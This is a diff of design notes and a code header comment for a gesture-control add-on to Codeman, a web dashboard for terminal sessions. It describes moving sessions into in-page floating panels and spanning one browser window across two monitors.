+- ✅ **Fullscreen mode** — done. Toggle button fullscreens the `#stage`;
+  `:fullscreen` CSS fills the viewport and the coord mapping adapts since it
+  reads the stage rect every frame.
+- ✅ **Multi-monitor mode — A+C BUILT & validated at the desk (2026-06-08).** The
+  eventual real goal (fling a Codeman session onto an external display by gesture)
+  is reached. **Design → [`../../docs/MULTIMONITOR_DESIGN.md`](../../docs/MULTIMONITOR_DESIGN.md)**,
+  approach **A+C**:
+  - **A — in-page floating panels** (`581fcf9`, `3e0447a`): `entry.ts`
+    `floatSession(id, x, y)` pops a tab into a re-grabbable `.cg-float` iframe of
+    `/session/:id` (640×420) instead of `window.app.detachSession`. The session
+    stays in the camera-owning page's DOM, so the hand keeps control — fixing the
+    one-way-trip flaw of OS-window detach.
+  - **C-span — spanned window** (`063fd8f`, `59946b8`): `scripts/span-codeman.sh`
+    launches a Brave-first (`BROWSER=` override) `--app` window sized to the
+    display union; prereq macOS "Displays have separate Spaces" OFF + re-login.
+    One-click via the **Codeman header button** → `POST /api/system/span-displays`
+    (PR #103 `95b0035`). **Validated:** one window spans both monitors and a panel
+    drags across the seam.
+  - **C-snap** (`getScreenDetails` snapping + seam dead-band) and the **re-dock**
+    gesture/zone are **still pending** — not needed for basic cross-seam dragging.
+  - **Concurrent-rendering question** was RESOLVED first: Codeman already mounts
+    live terminals into floating panels (teammate terminals, log-viewer SSE
+    windows, the iframe-able `/session/:id` solo route), so the live float needed
+    no new Codeman rendering.
+
+Note: the public event surface evolved from the original API sketch. The
+controller stays transport-agnostic but emits coordinate-only `grab`/`drag`/
+`drop` (hit-testing lives in the consumer, since only it knows the DOM/columns).
+`hover`/`dropCancelled`/`targetId` were dropped; hover highlighting is derived
+from the `status` snapshot instead.

+> Authored from the gesture-control project, which needs this as a prerequisite.
+> Codeman is "aicodeman": a Fastify + WebSocket server streaming xterm.js
+> terminal (tmux) sessions to a web dashboard.
+
+## Goal
+
+Let a session "tab" pop out of the main dashboard into its **own browser
+window** (and back). Each detached window shows just that one session's
+terminal, fully live. This is a standalone UX win *and* a prerequisite for
+gesture control later (a hand-gesture "drop" will eventually trigger
+detach/relocate — but that's a separate project; **this feature is plain UI
+buttons only**).
+
+## Core approach (refine as needed)
+
+- Add a **"Detach" control** on each tab. It opens a new browser window
+  (`window.open`) pointing at a **single-session view** — ideally a real route
+  like `/session/:id` so the popup just loads a URL and attaches like a normal
+  client.
+- The detached window runs its **own xterm.js instance connected to the same
+  session's WebSocket**, so it's live, not a screenshot.
+- Keep the dashboard and detached windows **in sync** (session list, titles,
+  alive/dead state, focus) — via the existing events channel, or a
+  `BroadcastChannel` if simpler.
+- Support **re-dock** (close popup → tab returns to the dashboard) and handle the
+  popup being closed/refreshed gracefully.
+
+## The one critical question to resolve first (in Codeman's own code)
+
+Can the server currently **fan out one session's PTY/tmux output to multiple
+concurrent WebSocket clients**, or is it single-consumer? A detached window is a
+*second* viewer of the same session. If it's single-consumer today, that's the
+main change: make the pty→socket stream **broadcast to N subscribers** (and merge
+input) so dashboard + popup can both watch/type. This likely matters more than
+the UI work.
+
+## Other decisions for Codeman
+
+- Per-session route (`/session/:id`) vs. a single-page popup that's told which id
+  to show.
+- Multi-monitor placement later via the Window Management API
+  (`getScreenDetails`) — **out of scope now**, just don't design against it.
+- Auth/cookie sharing so a popup window authenticates the same as the dashboard.
+
+## Constraints
+
+- Implement on a **beta branch**, not `main`.
+- The gesture-control side keeps a **read-only** copy of Codeman (its `.git`
+  removed); the live `Ark0N/Codeman` repo is **not** touched from here. Codeman
+  implements this itself.
+
+## Why this is sequenced before gesture wiring
+
+Gestures can only drag DOM **within the single page that owns the camera**; you
+cannot drag a node across isolated browser tabs / OS windows. So undock must be a
+**Codeman session-placement operation** that a gesture `drop` later *triggers* —
+not something the gesture layer does. Detach first; wire gestures to it after.

+# Multi-monitor gesture design — in-page panels + spanned window (A + C)
+
+**Status:** **A + C-span BUILT & validated at the desk (2026-06-08).** C-snap
+(`getScreenDetails` snapping) still pending. Decided + built 2026-06-08.
+**Supersedes** the OS-window detach as the *gesture* verb (see "Why detach
+broke movability") — *now actually replaced in `entry.ts`, not just planned.*
+**Companion docs:** `CODEMAN_DETACH_BRIEF.md` (the original window.open detach),
+`../gesture-proto/docs/BUILD_PLAN.md` (canonical build spec, Phase 5).
+
+> ## Implementation status (2026-06-08)
+> - ✅ **A — in-page floating panels.** `entry.ts` `floatSession(id, x, y)` spawns
+>   a `.cg-float` div with an `<iframe src="/session/:id">` (640×420) at the drop
+>   point; panels are re-grabbable. Replaces `window.app.detachSession`. Commits
+>   `581fcf9`, `3e0447a`.
+> - ✅ **C-span — spanned window.** `scripts/span-codeman.sh` (Brave-first;
+>   `BROWSER=` override) launches a `--app` window sized to the display union.
+>   Commits `063fd8f`, `59946b8`. **Validated at the desk:** one window spans
+>   both monitors (3432×1080) and a panel drags across the seam.
+> - ✅ **Launch entry point in Codeman.** A header "multi-monitor" button (replaces
+>   the notification bell) → `POST /api/system/span-displays` → spawns the span
+>   script. Bundled `span-codeman.sh` into Codeman's repo. **PR #103** `95b0035`.
+> - ✅ **Cache-bust** all same-origin module scripts/CSS (`renderIndexHtml` →
+>   `cacheBustAssets`), so frontend edits show on a normal reload. PR #103 `b5ea711`.
+> - ⏳ **C-snap** (`getScreenDetails` snapping + seam dead-band) — not built; not
+>   required for basic cross-seam dragging. Also pending: the re-dock gesture/zone.
+> - **Known caveats from the desk run:** dead band on a taller/offset external
+>   display (inherent to one spanning rect); superwide lens not selectable in the
+>   fresh span-window browser profile; 3-monitor works unchanged but dead-space +
+>   cursor-sensitivity caveats grow.

+
+## Goal
+
+Pinch a Codeman session, drag it anywhere — including **across a second
+physical monitor** — drop it, and have it stay where you put it and stay
+grabbable again. The "fling a session onto the external display by gesture"
+end-goal from the BUILD_PLAN backlog, made real **without losing the ability to
+move a session after you've placed it.**
+
+## The root constraint (why this design, not the others)
+
+The hand only exists in **the one page that owns the camera**. Hand tracking,
+the cursor, and `document.elementFromPoint` hit-testing all live in that single
+document. **An OS window created by `window.open` is a sealed box that page
+cannot reach into** — no shared DOM, no shared cursor.
+
+> **Why detach broke movability.** Today `entry.ts` → `detach(id)` calls
+> `window.app.detachSession(id)`, which `window.open`s the session into its own
+> OS window. The instant it leaves the camera-owning page, the hand can never
+> touch it again. Detach-by-pinch *works*, but it's a one-way trip.
+
+**Rule:** anything you want to keep gesture-movable must stay inside **one
+page's DOM.** This design honors that with two composed pieces:
+
+- **A — In-page floating panels.** "Detach" pops a session into a free-floating,
+  absolutely-positioned element *in the same page* (not an OS window), so the
+  hand keeps control forever.
+- **C — One window spanning both monitors.** Run Codeman in a single window
+  stretched across both physical displays, so "drag across monitors" is just
+  "drag across the page," and the second monitor's pixels are actually used.
+
+Option **B** (one OS window per monitor + a distributed BroadcastChannel cursor
+protocol + cross-window session hand-off) was considered and deferred: it's the
+only path to *independent* per-monitor OS windows, but it's a much larger build
+and reintroduces the cross-window wall this design exists to avoid.
+
+---
+
+## Part A — In-page floating panels
+
+### Codeman already has the primitive
+
+`panels-ui.js` has a `.detached` "floating window": an absolutely-positioned
+`<div>` with `panel.style.top/left/width/height` and a drag handler
+(`setupMonitorDrag`) — **all in-page, no `window.open`.** The session-tab detach
+simply picked the wrong primitive (the OS-window one). Part A reuses the
+in-page one.
+
+### Concurrent session rendering — RESOLVED (2026-06-08): live floats are feasible now
+
+The main *dashboard view* renders **one active session at a time** (a single
+shared `this.terminal` opened into `#terminalContainer` in `terminal-ui.js:26`,
+swapped by `selectSession()`). But the page is **not** limited to one terminal —
+the PR #103 branch already ships **three independent in-page concurrent
+floating-content subsystems** we can reuse, so a live floating panel per session
+needs **no new Codeman rendering architecture**:
+
+1. **Teammate terminals** (`panels-ui.js` `teammateTerminals` Map +
+   `subagent-windows.js`). A `Map` of **concurrent live `new Terminal()`
+   instances**, each `terminal.open(body)`'d into a floating panel, bound to a
+   `sessionId` + tmux `paneTarget`, **seeded via REST** buffer fetch
+   (`/api/sessions/:id/teammate-pane-buffer/:pane`), **input via REST**
+   (`/api/sessions/:id/teammate-pane-input`), with lazy-mount (`_lazyPaneTarget`)
+   and `dispose()` cleanup. *This is option 2 already built and shipping.*
+2. **Log-viewer windows** (`panels-ui.js:2632`). Concurrent draggable floating
+   windows, each with its own `EventSource` **SSE stream** and lifecycle map —
+   proof of the generic "floating window + independent per-window stream"
+   pattern.
+3. **`/session/:id` solo route** (`server.ts:573`, `renderIndexHtml(soloId)`,
+   `text/event-stream` at `:633`). A full **standalone live session page** —
+   **iframe-able** — reusing the exact multi-client fan-out detach already
+   depends on. Solo mode deliberately **omits** the gesture overlay
+   (`server.ts:1010-1014`), so there's no nested-overlay problem.
+
+**The PTY multi-viewer fan-out is confirmed** (the brief's open "yes"): a session
+is addressable by multiple concurrent clients — the solo route, the teammate
+REST endpoints, and the on-tab pop-out all view the same live session.
+
+**Resolution:** skip the static-preview fallback. Build live floats directly,
+ranked by new-code cost:
+
+- **Primary — iframe the solo route.** `floatPanel(id)` =
+  `<div class="cg-float" data-id><iframe src="/session/:id"></iframe></div>`.
+  The iframe is a complete live session view (its own terminal + stream client);
+  the gesture layer moves the **div** and the iframe rides along. Lowest new
+  code; reuses proven fan-out; no terminal wiring. Trade-off: a full app shell
+  per float (heavier — fine for a few, watch memory at many).
+- **Richer alt — native teammate-style panel.** Mount a `new Terminal()` in the
+  float body, seed via the session buffer endpoint, feed via the teammate
+  stream. Native (no iframe), lighter per-float, same-document. Use if the
+  iframe feels heavy or you want tighter integration.
+
+Either way the hand only **places** the float; typing into it uses a keyboard
+(focus the iframe / native terminal) — consistent with "gesture places,
+keyboard types."
+
+### Gesture grammar (replaces the current detach path in `entry.ts`)
+
+The grab/drag/drop plumbing already exists; only the **drop action** changes.
+
+- **Grab** a `.session-tab[data-id]` (unchanged: `onGrab`, ghost-follow).
+- **Pull** past `DETACH_PULL_PX` to arm (unchanged: `grab.armed`).
+- **Drop while armed** → **no longer** `window.app.detachSession`. Instead spawn
+  an **in-page floating panel** for that session id at the drop point. New
+  method `floatPanel(id, x, y)` replacing `detach(id)`.
+- **Re-grab** a floating panel (new `PANEL_SELECTOR`, e.g. `.cg-float[data-id]`)
+  → move it; drop anywhere → it stays. This is the capability detach lost.
+- **Drop a panel back over the tab strip** (or a dock zone) → **re-dock**
+  (remove the float; session returns to a plain tab). Mirrors the `.detached` →
+  attach toggle Codeman already has.
+- **Keep `window.open` detach as a separate, deliberate verb** — e.g. a button,
+  or a distinct "throw up and off-screen" gesture — for intentionally parking a
+  session in its own OS window. It is *not* the default pinch action anymore.
+
+### `entry.ts` change surface
+
+- New state: `floats: Map<string, FloatingPanel>` (id → element + position),
+  parallel to the existing `grabs`/`taps` maps.
+- `onGrab`: extend hit-testing to also match `PANEL_SELECTOR`, so an existing
+  float can be re-grabbed (priority: panel over tab when overlapping).
+- `onDrop`: replace `if (grab.armed) this.detach(grab.id)` with
+  `this.floatPanel(...)`; add the panel re-dock branch.
+- `floatPanel(id, x, y)`: create/show the in-page panel (Part A option 1/2),
+  position it absolutely at the drop point. Idempotent per id (re-grab moves the
+  existing one, never duplicates).
+- Coordinate mapping is **already viewport-pixel based** (the click-through
+  surface maps cursor → viewport px), so it needs **no change** for spanning —
+  see Part C.
+
+---
+
+## Part C — One window spanning both monitors
+
+Once the Codeman window physically covers both displays, Part A's panels drag
+across the seam for free, because the gesture cursor is already in viewport
+pixels and the viewport now spans both monitors.
+
+### macOS setup (operational, near-zero code)
+
+1. **System Settings → Desktop & Dock → uncheck "Displays have separate
+   Spaces."** (Requires a logout/login.) This is what lets a single window
+   straddle two physical displays.
+2. Run Codeman **maximized, not fullscreen.** Browser fullscreen is *per
+   display* and will **not** span — use a maximized/borderless window dragged to
+   cover both monitors. (A kiosk/`--app` Chrome window sized to the union rect is
+   the cleanest.) **Automated by `scripts/span-codeman.sh`** — it reads the
+   display-union rect (Finder desktop bounds) and launches a **Brave-first**
+   Chromium-family `--app` window sized to it (fresh per-browser profile so the
+   geometry flags are honored; `BROWSER=` overrides — plain Chrome bounced on the
+   desk machine). One-click from the **Codeman header "multi-monitor" button**
+   (`POST /api/system/span-displays`, which spawns this script), or run it
+   directly. Step 1 + logout is still manual; the script warns if spanning isn't
+   active.
+3. Arrange the two monitors as a contiguous rectangle in Display settings so the
+   union has no vertical offset gap.
+
+### Coordinate model & the bezel seam
+
+- Enumerate displays with **`window.getScreenDetails()`** (Chrome, secure
+  context, `window-management` permission). Gives each screen's
+  `left/top/width/height/availLeft/...` in a **virtual-desktop coordinate
+  space** spanning all monitors.
+- Use it for **screen-edge snapping zones**: e.g. dropping a panel within the
+  right screen's bounds snaps it to fill that screen; the seam between the two
+  screens' rects is a "halt / boundary" zone the cursor crosses.
+- **Account for the bezel gap.** The two monitors are physically separated, but
+  the spanned window's pixels are contiguous — a panel dragged across the seam
+  visually jumps the bezel. Optional: add a dead-band at the seam x-coordinate
+  so a panel snaps to one side rather than straddling.
+- `getScreenDetails` is **only needed for snapping/zone logic**, not for basic
+  dragging — dragging works the moment the window spans. So Part C can ship in
+  two steps: (1) just span + free drag, (2) add `getScreenDetails` snapping.
+
+### Constraints to surface to the user
+
+- macOS-specific; the "separate Spaces" toggle is global and affects all apps.
+- Real fullscreen is unavailable (must run maximized).
+- A bezel-width discontinuity sits in the middle of the coordinate space.
+- `window-management` permission prompts once.
+
+---
+
+## Build phases
+
+1. ✅ **A-MVP — in-page live float, single monitor (DONE, `581fcf9`/`3e0447a`).**
+   `entry.ts` `floatSession(id, x, y)` spawns an **iframe of `/session/:id`** in a
+   `.cg-float` div (640×420) at the drop point; re-grab + move work (re-dock zone
+   still TBD). Movability restored — the live session rides inside the page. (The
+   method is named `floatSession`, not the design-sketch `floatPanel`.)
+2. ✅ **C-span — span the window (DONE, `063fd8f`/`59946b8`; validated at desk).**
+   macOS "separate Spaces" off + `scripts/span-codeman.sh` launches a maximized
+   `--app` window across the display union (Brave-first; `BROWSER=` override).
+   **Confirmed:** panels drag across the seam — viewport mapping held with zero
+   `entry.ts` change. Launchable one-click from the **Codeman header button** →
+   `POST /api/system/span-displays` (PR #103 `95b0035`), or by running the script.
+3. ⏳ **C-snap — screen-aware snapping (pending).** Add `getScreenDetails`; snap a
+   panel to the screen it's dropped on; add the seam dead-band.
+4. **A-alt (optional).** Swap the iframe float for a native teammate-style
+   `new Terminal()` panel if the iframe shell feels heavy or many floats strain
+   memory.
+
+## Open questions / verification before coding
+
+- [x] **Concurrent rendering — RESOLVED (2026-06-08).** A live session view
+  *can* be mounted into an arbitrary in-page container concurrently with the
+  main view. The PR #103 branch already ships it three ways (teammate terminals,
+  log-viewer SSE windows, the iframe-able `/session/:id` solo route); fan-out
+  confirmed. Primary path: iframe the solo route. See the resolved section above.
+- [ ] **Native-panel live feed (only if taking A-alt, not the iframe):** trace
+  the exact transport that pushes *continuous* teammate-pane output after the
+  REST buffer seed (`pendingData` flush source). The iframe path sidesteps this.
+- [ ] **`window.app.detachSession` location:** when wiring the *kept* OS-window
+  detach verb, note this method was **not found in PR #103 source** (only
+  server-side `detachSessionListeners`); it works at runtime, so confirm where
+  it's actually defined before extending it.
+- [ ] **Spanning feasibility on the actual desk setup** (monitor arrangement,
+  whether "separate Spaces" off is acceptable to the user globally).
+- [ ] **Re-dock target:** decide the re-dock gesture/zone (drop over tab strip
+  vs a dedicated dock region).

+// Phase 5 — Codeman integration entry point.
+//
+// This is the *consumer* layer that replaces `demo/tabs.ts` for the real
+// Codeman dashboard. It is bundled (esbuild, MediaPipe included) into a single
+// ESM file and served by Codeman from `/gesture/gesture-codeman.js`, loaded into
+// the dashboard page when Codeman is started with `CODEMAN_GESTURE=1`.
+//
+// The gesture *core* (`../gesture/*`) is unchanged and transport-agnostic — it
+// emits coordinate-only `grab`/`drag`/`drop`. Here we map those onto Codeman's
+// real session tabs (`.session-tab[data-id]`) and toolbar buttons.
+//
+// Three interactions, all off the same pinch:
+//   • Tab "grab-to-float" — pinch a session tab, *pull it out* of the strip (a
+//     ghost follows your hand), release past a threshold → the session opens as
+//     an in-page floating panel at the drop point; a small twitch-and-release
+//     cancels (snaps back).
+//   • Panel "re-grab" — pinch an existing floating panel and move it anywhere;
+//     release over the tab strip to re-dock it (panel goes away, the tab stays).
+//     This is the capability the old OS-window detach lost.
+//   • Button "tap" — pinch over a toolbar button (Run / Run Shell) and release
+//     in place → fires the button's real click handler. Drift too far first and
+//     it's treated as a stray move, not a tap.
+//
+// Why in-page floats, not OS-window detach (decided 2026-06-08, see
+// docs/MULTIMONITOR_DESIGN.md): the hand only exists in the one page that owns
+// the camera. `window.open`/`detachSession` puts the session in a sealed OS
+// window the page can't hand-track — a detached session can never be moved
+// again, a one-way trip. A floating panel (an iframe of the session's solo
+// route `/session/:id`) stays in this page's DOM, so the hand keeps control:
+// re-grab, move across the (spanned) viewport, drop, re-dock. The OS-window
+// detach is kept for later as a *separate, deliberate* verb — no longer the pinch.
